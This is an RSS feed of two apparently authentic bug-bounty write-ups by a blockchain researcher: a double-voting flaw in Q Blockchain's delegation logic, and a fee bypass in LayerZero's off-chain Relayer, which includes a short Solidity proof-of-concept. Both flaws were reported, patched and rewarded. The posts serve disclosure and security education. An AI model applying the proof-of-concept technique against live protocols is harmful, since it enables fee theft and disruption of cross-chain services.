<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Blockian on Medium]]></title>
        <description><![CDATA[Stories by Blockian on Medium]]></description>
        <link>https://medium.com/@blockian?source=rss-f4ae7e7832e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sBq-wbdwowBqZg9UdVvoYg.png</url>
            <title>Stories by Blockian on Medium</title>
            <link>https://medium.com/@blockian?source=rss-f4ae7e7832e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 01:46:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@blockian/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Striking Gold at 30,000 Feet: Uncovering a Critical Vulnerability in Q Blockchain for $50,000]]></title>
            <link>https://medium.com/@blockian/striking-gold-at-30-000-feet-uncovering-a-critical-vulnerability-in-q-blockchain-for-50-000-ab335042147b?source=rss-f4ae7e7832e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab335042147b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[Blockian]]></dc:creator>
            <pubDate>Wed, 07 Jun 2023 16:56:29 GMT</pubDate>
            <atom:updated>2023-06-07T16:56:29.237Z</atom:updated>
            <content:encoded><![CDATA[<p>It was September 2022. For months, my friend and I had been toying with the idea of hunting for bugs in projects listed on Immunefi, yet we never really dedicated ourselves fully to the task. As we settled into our seats on a five-hour flight, laptops preloaded with episodes of Supernatural for in-flight entertainment, an unexpected surge of determination washed over me. “No,” I found myself declaring, “Now we work.” And thus, our bug bounty journey began in earnest, starting with one of the most recent projects listed on Immunefi — ‘<a href="https://immunefi.com/bounty/qblockchain/">Q Blockchain</a>’.</p><h3>Understanding Q Blockchain</h3><p>Q is a distinctive blockchain built on Ethereum technology. Q Tokens, its native assets, are used by validators and root nodes securing the Q blockchain. These actors stake Q Tokens in dedicated smart contracts on the blockchain, thus signaling their investment and allegiance to the network.</p><p>Changes to the Q system, particularly the Q constitution, are facilitated through Q proposals. These proposals can be voted upon. The voting power of an individual is proportional to the amount of Q Tokens they’ve locked within a designated smart contract. For this audit, we are focusing on the project at commit a11d9c0fec2f85b9e9b5f09e871559597e782b3e.</p><h3>Examining the Voting Mechanism</h3><p>The Q voting system has four primary steps:</p><ol><li>A proposal is created.</li><li>Voters lock Q Tokens.</li><li>Voters cast their votes on the proposal.</li><li>The proposal is either accepted or rejected.</li></ol><p>A variety of elements in Q are subject to voting, such as changes to the constitution, root node appointments, and slashing of validator funds. Each of these voting mechanisms is governed by a smart contract that inherits from the IVoting interface. For illustrative purposes, we will be delving into the RootsVoting.sol contract.</p><pre>interface IVoting {<br>    enum ProposalStatus {<br>        NONE,<br>        PENDING,<br>        REJECTED,<br>        ACCEPTED,<br>        PASSED,<br>        EXECUTED,<br>        OBSOLETE,<br>        EXPIRED<br>    }<br>    enum VotingOption {<br>        NONE,<br>        FOR,<br>        AGAINST<br>    }<br><br>    struct VotingParams {<br>        uint256 votingStartTime;<br>        uint256 votingEndTime;<br>        uint256 vetoEndTime;<br>        uint256 proposalExecutionP;<br>        uint256 requiredQuorum;<br>        uint256 requiredMajority;<br>        uint256 requiredSMajority;<br>        uint256 requiredSQuorum;<br>    }<br><br>    struct VotingCounters {<br>        uint256 weightFor;<br>        uint256 weightAgainst;<br>        uint256 vetosCount;<br>    }<br><br>    struct VotingStats {<br>        uint256 requiredQuorum;<br>        uint256 currentQuorum;<br>        uint256 requiredMajority;<br>        uint256 currentMajority;<br>        uint256 currentVetoPercentage;<br>    }<br><br>    struct BaseProposal {<br>        string remark;<br>        VotingParams params;<br>        VotingCounters counters;<br>        bool executed;<br>    }<br><br>    event ProposalCreated(uint256 _id, BaseProposal _proposal);<br><br>    /**<br>     * @notice Executes the proposal<br>     * @param _proposalId Proposal id<br>     */<br>    function execute(uint256 _proposalId) external;<br><br>    /**<br>     * @notice Votes for the proposal<br>     * @param _proposalId Proposal id<br>     */<br>    function voteFor(uint256 _proposalId) external;<br><br>    /**<br>     * @notice Votes against the proposal<br>     * @param _proposalId Proposal id<br>     */<br>    function voteAgainst(uint256 _proposalId) external;<br><br>    /**<br>     * @notice Returns the base structure for the given id<br>     * @param _proposalId Proposal id<br>     * @return structure of type BaseProposal<br>     */<br>    function getProposal(uint256 _proposalId) external view returns (BaseProposal calldata);<br><br>    /**<br>     * @notice Returns the current proposal stats for the given id<br>     * @param _proposalId Proposal id<br>     * @return structure of type VotingStats<br>     */<br>    function getProposalStats(uint256 _proposalId) external view returns (VotingStats calldata);<br>}</pre><p>The RootsVoting smart contract takes care of the proposal of root nodes, and the vote to pick a root node. Users call createProposal to create a proposal, and then use voteFor and voteAgainst to vote on the proposals.</p><pre>function voteFor(uint256 _proposalId) external override {<br>    _vote(_proposalId, VotingOption.FOR);<br>}<br><br>function _vote(uint256 _proposalId, VotingOption option) private shouldExist(_proposalId) returns (bool) {<br>    require(<br>        getStatus(_proposalId) == ProposalStatus.PENDING,<br>        &quot;[QEC-003003]-Voting is only possible on PENDING proposals.&quot;<br>    );<br>    require(!hasUserVoted[_proposalId][msg.sender], &quot;[QEC-003005]-The caller has already voted for the proposal.&quot;);<br><br>    VotingWeightProxy proxy = VotingWeightProxy(_getVotingWeightProxyAddress());<br>    uint256 _totalLockedQ = proxy.extendLocking(msg.sender, proposals[_proposalId].base.params.votingEndTime);<br>    require(_totalLockedQ &gt; 0, &quot;[QEC-003013]-The total voting weight must be greater than zero.&quot;);<br><br>    if (option == VotingOption.FOR) {<br>        proposals[_proposalId].base.counters.weightFor += _totalLockedQ; // 1<br>    } else {<br>        proposals[_proposalId].base.counters.weightAgainst += _totalLockedQ; // 2<br>    }<br><br>    hasUserVoted[_proposalId][msg.sender] = true; // 3<br>    emit UserVoted(_proposalId, option, _totalLockedQ);<br><br>    return true;<br>}</pre><p>In the function _vote the contract counts the vote with its appropriate weight towards or against the proposal (1 and 2), and marks that the user has voted (3). I won’t dive into the logic that follows and its implementation, but after enough users have voted or a time span has passed, the proposal is accepted or rejected.</p><p>When the smart contracts counts to vote of the voter, it needs to calculate how many locked Q Tokens said voter has. To do that, it uses another smart contract, called VotingWeightProxy.</p><h3>Locking Q Tokens</h3><p>Let’s understand how Q Tokens are locked. The locking process involves various smart contracts. Each of these contracts utilizes a specific function within the VotingWeightProxy smart contract, labeled _lock.</p><p>It’s important to note that users have the option to delegate their voting power to another individual or entity of their choosing, referred to as a ‘voting agent’. This allows users to participate in the voting process indirectly.</p><pre>function lock(address _who, uint256 _amount) external onlyEligibleContracts {<br>    require(_amount &gt; 0, &quot;[QEC-028002]-Invalid amount value, amount cannot be zero.&quot;);<br><br>    VotingLockInfo memory _votingLockInfo = lockInfos[msg.sender][_who];<br>    _votingLockInfo.lockedAmount += _amount;<br><br>    lockInfos[msg.sender][_who] = _votingLockInfo;<br><br>    emit LockedAmountChanged(msg.sender, _who, _votingLockInfo.lockedAmount);<br><br>    VotingDelegationInfo storage delegationInfo = delegationInfos[_who];<br><br>    if (delegationInfo.votingAgent == address(0)) {<br>        delegationInfo.votingAgent = _who;<br>    }<br><br>    if (!delegationInfo.isPending) {<br>        delegationInfos[delegationInfo.votingAgent].receivedWeight += _amount; // HERE<br>    }<br>}</pre><p>In the ‘_lock’ function, there’s a critical line of code nested within the final ‘if’ statement. This line updates the ‘receivedWeight’ of the voting agent. By default, the voting agent is the user locking the Q Tokens, unless delegated to another party.</p><h3>Voting Power Calculation</h3><p>The voting power of a user is calculated based on the quantity of Q Tokens they have locked until the end of a proposal’s voting period. This calculation requires the VotingWeightProxy contract again. To fetch this information, the function extendLocking is called, providing the end time of voting as a parameter.</p><pre>function extendLocking(address _who, uint256 _lockNeededUntil) external onlyVotingContracts returns (uint256) {<br>    lockedUntil[_who] = _max(lockedUntil[_who], _lockNeededUntil);<br>    return getVotingWeight(_who, _lockNeededUntil);<br>}</pre><p>The extendLocking function updates the lockedUntil value for a specific user. The new value is the maximum between the user’s current locking deadline and the voting end time of the proposal they’re voting on. The function then returns the number of tokens locked until the given date.</p><pre>function getVotingWeight(address _who, uint256 _lockNeededUntil) public view returns (uint256) {<br>    VotingLockInfo memory _votingLockInfo;<br>    VotingDelegationInfo memory _delegationInfo = delegationInfos[_who];<br>    uint256 _totalVotingWeight = 0;<br><br>    for (uint256 i = 0; i &lt; tokenLockSourcesKeys.length; ++i) {<br>        _votingLockInfo = lockInfos[registry.mustGetAddress(tokenLockSourcesKeys[i])][_who];<br>        if (_votingLockInfo.pendingUnlockTime &gt; _lockNeededUntil) {<br>            _totalVotingWeight += _votingLockInfo.pendingUnlockAmount;<br>        }<br>    }<br><br>    _totalVotingWeight += _delegationInfo.receivedWeight; // HERE<br><br>    return _totalVotingWeight;<br>}</pre><p>However, the calculation isn’t that straightforward. There’s an additional complexity in the form of receivedWeight, which represents the amount of Q Tokens locked and delegated to a certain voting agent. Plus, a mechanism to account for users who want to unlock their funds ahead of the voting end time.</p><p>For now, we can ignore the ‘for’ loop in the middle of the getVotingWeight function. We’ll cover that part after we delve into the process of unlocking funds.</p><h3>Funds Unlocking</h3><p>Let’s say a user decides to unlock their funds. This process is done in two parts:<br>1. Announce that they plan to unlock a certain amount of funds at a certain time<br>2. The actual unlocking of the funds<br>Let’s look at the relevant functions:</p><pre>function announceUnlock(<br>      address _who,<br>      uint256 _amount,<br>      uint256 _newUnlockTime<br>  ) external onlyEligibleContracts {<br>      VotingLockInfo storage votingLockInfo = lockInfos[msg.sender][_who];<br><br>      if (_amount &lt; votingLockInfo.pendingUnlockAmount) {<br>          uint256 amountDifference = votingLockInfo.pendingUnlockAmount - _amount;<br>          _increaseLockedAmount(_who, amountDifference);<br>      } else {<br>          uint256 amountDifference = _amount - votingLockInfo.pendingUnlockAmount;<br>          _reduceLockedAmount(_who, amountDifference); // 1<br>      }<br>      votingLockInfo.pendingUnlockAmount = _amount; // 2<br><br>      uint256 _maxLockedUntil = _getMaxLockedUntil(_who);<br><br>      if (_newUnlockTime &lt; _maxLockedUntil) {<br>          _newUnlockTime = _maxLockedUntil; // 3<br>      }<br>      votingLockInfo.pendingUnlockTime = _newUnlockTime; // 4<br><br>      emit PendingUnlockChanged(<br>          msg.sender,<br>          _who,<br>          votingLockInfo.pendingUnlockAmount,<br>          votingLockInfo.pendingUnlockTime<br>      );<br>  }</pre><p>Let’s go over the important parts:<br>1. A call to reduceLockedAmount.</p><pre>function _reduceLockedAmount(address _who, uint256 _amount) private onlyEligibleContracts {<br>      VotingLockInfo storage votingLockInfo = lockInfos[msg.sender][_who];<br>      require(votingLockInfo.lockedAmount &gt;= _amount, &quot;[QEC-028003]-Cannot unlock more than is currently locked.&quot;);<br><br>      votingLockInfo.lockedAmount -= _amount;<br>      emit LockedAmountChanged(msg.sender, _who, votingLockInfo.lockedAmount);<br><br>      VotingDelegationInfo memory _delegationInfo = delegationInfos[_who];<br>      if (!_delegationInfo.isPending) {<br>          delegationInfos[_delegationInfo.votingAgent].receivedWeight -= _amount; // HERE<br>      }<br>  }</pre><p>As can be seen, this function is the exact opposite of locking Q Tokens, with regards to voting power. It decreases receivedWeight, which as we’ve seen is a part of the user’s voting power.</p><p>2. Setting a specific member with the amount that is to be unlocked</p><p>3. Making sure the unlocking time is greater than the expiration time of the user’s votes, or setting it accordingly</p><p>4. Setting the unlock time to the user requested (or corrected) unlocking time</p><h3>Voting Power Calculation Revisited</h3><pre>function getVotingWeight(address _who, uint256 _lockNeededUntil) public view returns (uint256) {<br>    VotingLockInfo memory _votingLockInfo;<br>    VotingDelegationInfo memory _delegationInfo = delegationInfos[_who];<br>    uint256 _totalVotingWeight = 0;<br><br>    for (uint256 i = 0; i &lt; tokenLockSourcesKeys.length; ++i) {<br>        _votingLockInfo = lockInfos[registry.mustGetAddress(tokenLockSourcesKeys[i])][_who];<br>        if (_votingLockInfo.pendingUnlockTime &gt; _lockNeededUntil) {<br>            _totalVotingWeight += _votingLockInfo.pendingUnlockAmount;<br>        }<br>    }<br><br>    _totalVotingWeight += _delegationInfo.receivedWeight; // HERE<br><br>    return _totalVotingWeight;<br>}</pre><p>Now we can understand the inner loop: If a user decided to withdraw their funds, and then noticed a proposal they wanted to vote on, they could still do it if the unlock time is far enough in the future.</p><h3>The Bug: Double Voting</h3><p>The vulnerability we discovered allows a user’s locked Q Tokens to vote twice. Do you see it?</p><ol><li>User A delegates their Q Tokens to User B.</li><li>User B votes on a proposal, with their voting power incorporating User A’s locked tokens.</li><li>User A announces the unlocking of their locked Q Tokens.</li><li>User A votes on the same proposal, and their locked Q Tokens count towards their voting power.</li></ol><p>As a result, the same locked tokens influence the voting power twice.</p><h3>Reporting and Reward</h3><p>We reported this critical vulnerability to Q Blockchain via Immunefi on September 30th, and by October 24th, we were rewarded with $50,000. The experience of this report fully convinced us that this is what we want to do, and marked the beginning of our journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab335042147b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blackboxing LayerZero Labs’ off-chain Relayer]]></title>
            <link>https://medium.com/@blockian/blackboxing-layerzero-labs-off-chain-relayer-954aecab0f62?source=rss-f4ae7e7832e------2</link>
            <guid isPermaLink="false">https://medium.com/p/954aecab0f62</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Blockian]]></dc:creator>
            <pubDate>Thu, 09 Mar 2023 19:22:59 GMT</pubDate>
            <atom:updated>2023-05-08T20:12:20.744Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blackboxing LayerZero Labs’ off-chain Relayer for 25,000$</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*-YSkfxIvMi-glq0ZRniezw.jpeg" /></figure><h3><strong>Summary</strong></h3><p>On 13.02 I found a vulnerability in the off-chain <a href="https://layerzero.gitbook.io/docs/ecosystem/relayer">Relayer</a> implemented by <a href="https://layerzero.network/">LayerZero</a> Labs. The vulnerability allowed any User Application using the infrastructure run by LayerZero Labs to send cross-chain messages without paying any fees, potentially draining the LayerZero Labs Relayer and causing other cross-chain transactions to revert. The vulnerability was reported and the LayerZero team quickly patched the bug on the same day.</p><p>Since the off-chain Relayer was out of scope for the LayerZero bug bounty program they had no obligation to pay any bounty, and yet the team chose to award a 25 thousand dollar payout, proving LayerZero is committed to the security of their project!</p><h3>What is LayerZero?</h3><blockquote>LayerZero is an omnichain interoperability protocol designed for lightweight message passing across chains.</blockquote><p>Simply put, LayerZero is a B2B solution. It allows protocols to seamlessly send messages across chains by interacting with the LayerZero smart contracts deployed on each chain. You can read the official <a href="https://layerzero.gitbook.io/docs/">docs</a> for information on how LayerZero works in detail, and in this blog post I’ll focus on the Relayer.</p><p>To send those messages there are some off-chain components that need to listen to events from chain a and relay the relevant message to chain b, those are the Relayers.</p><p>LayerZero allows each User Application to set which Relayer and Oracle it would like to use, allowing a higher level of customization, so basically, anyone can implement an off-chain Relayer and choose to use it. But when does the LayerZero Labs Relayer stop listening to messages?</p><h3>Vulnerability Analysis</h3><p>Let&#39;s examine the default LayerZero node: UltraLightNodeV2</p><p>The following code handles sending a message cross-chain (or to be more accurate, emits the relevant event the Relayer should listen to)</p><pre>    function send(address _ua, uint64, uint16 _dstChainId, bytes calldata _path, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable override onlyEndpoint {<br><br>        // ...<br><br>        // compute all the fees<br>        uint relayerFee = _handleRelayer(dstChainId, uaConfig, ua, payload.length, _adapterParams); // 1<br>        uint oracleFee = _handleOracle(dstChainId, uaConfig, ua); // 2<br>        uint nativeProtocolFee = _handleProtocolFee(relayerFee, oracleFee, ua, _zroPaymentAddress); // 3<br><br>        // total native fee, does not include ZRO protocol fee<br>        uint totalNativeFee = relayerFee.add(oracleFee).add(nativeProtocolFee);<br><br>        // assert the user has attached enough native token for this address<br>        require(totalNativeFee &lt;= msg.value, &quot;LayerZero: not enough native for fees&quot;);<br>        // refund if they send too much<br>        uint amount = msg.value.sub(totalNativeFee);<br>        if (amount &gt; 0) {<br>            (bool success, ) = _refundAddress.call{value: amount}(&quot;&quot;);<br>            require(success, &quot;LayerZero: failed to refund&quot;);<br>        }<br><br>        // emit the data packet<br>        bytes memory encodedPayload = abi.encodePacked(nonce, localChainId, ua, dstChainId, dstAddress, payload); // 4<br>        emit Packet(encodedPayload);<br>    }</pre><p>In comments 1 2 3 we can see the fee is being calculated and since a given UA can control their Relayer and Oracle it can be set to zero easily.</p><p>In comment 4 we see the actual event emitted, and notice the data — it doesn’t contain info about the used Relayer.</p><p>This got my developer sense tingling — that means the off-chain Relayer has to keep a state of all UA and their corresponding config, listen to events when updating the config, and keep tabs as well.</p><p>Since the Relayer operates off-chain, we don’t have a direct way to know what’s happening. But we can speculate and ask questions: <br>What happens when someone changes their config?<br>Will the Relayer know to stop relaying messages on behalf of that UA?<br>And even if it does, what happens if the UA changes the Relayer and the Oracle on the same transaction as sending a cross-chain message?<br>Will the Relayer run into a race condition and accidentally relay the message anyway?<br>Maybe there is no need for a race condition, maybe it simply prioritizes the Packet events and handles thus first.</p><p>It seemed like a potential pitfall in certain implementations of the Relayer, so I decided to conduct some tests to explore these assumptions further.</p><h3>POC</h3><p>First, I deployed a custom Relayer and Oracle that always returned 0 as the fee, ensuring that I could send messages without incurring any cost. Then, I created a user agent (UA) that changed the Oracle and Relayer before sending the message and then switched back to the LayerZero Labs Defaults all at the same transaction.</p><pre>function send(uint16 _dstChainId, address oracle, address relayer, address ogOracle, address ogRelayer) public payable {<br>        _setOracle(_dstChainId, oracle); // changing to the zero oracle<br>        _setRelayer(_dstChainId, relayer); // changing to the zero relayer<br>        _lzSend(_dstChainId, PAYLOAD, payable(msg.sender), address(0x0), bytes(&quot;&quot;), msg.value);<br>        _setOracle(_dstChainId, ogOracle); // changing back to the default oracle<br>        _setRelayer(_dstChainId, ogRelayer); // changing back to the default relayer<br>    }<br><br>function _setOracle(uint16 dstChainId, address oracle) internal {<br>        uint TYPE_ORACLE = 6;<br>        // set the Oracle<br>        lzEndpoint.setConfig(lzEndpoint.getSendVersion(address(this)), dstChainId, TYPE_ORACLE, abi.encode(oracle));<br>    }<br><br>function _setRelayer(uint16 dstChainId, address relayer) internal {<br>        uint TYPE_RELAYER = 3;<br>        // set the Relayer<br>        lzEndpoint.setConfig(lzEndpoint.getSendVersion(address(this)), dstChainId, TYPE_RELAYER, abi.encode(relayer));<br>    }</pre><p>By deploying all of these contracts on the goerli test chain and the BNB test chain I was able to confirm the LayerZero Labs Relayer did relay those messages for me, without paying any fees to the protocol.</p><h3>Final Thoughts</h3><p>I think we, blockchain security researchers, got used to having all of the code right in front of us, but with off-chain components, there may be cases when we don’t know what goes on, a complete black box. It is important to try and challenge these components as well, as they currently also play a key role in the DEFI space.</p><p>I want to say a huge thanks to the LayerZero team, I had lots of fun working with them, they took everything very seriously, and the response time was the quickest I have encountered so far.</p><p>For more fun stuff make sure to follow <a href="https://twitter.com/_blockian">Blockian</a> on Twitter.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=954aecab0f62" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>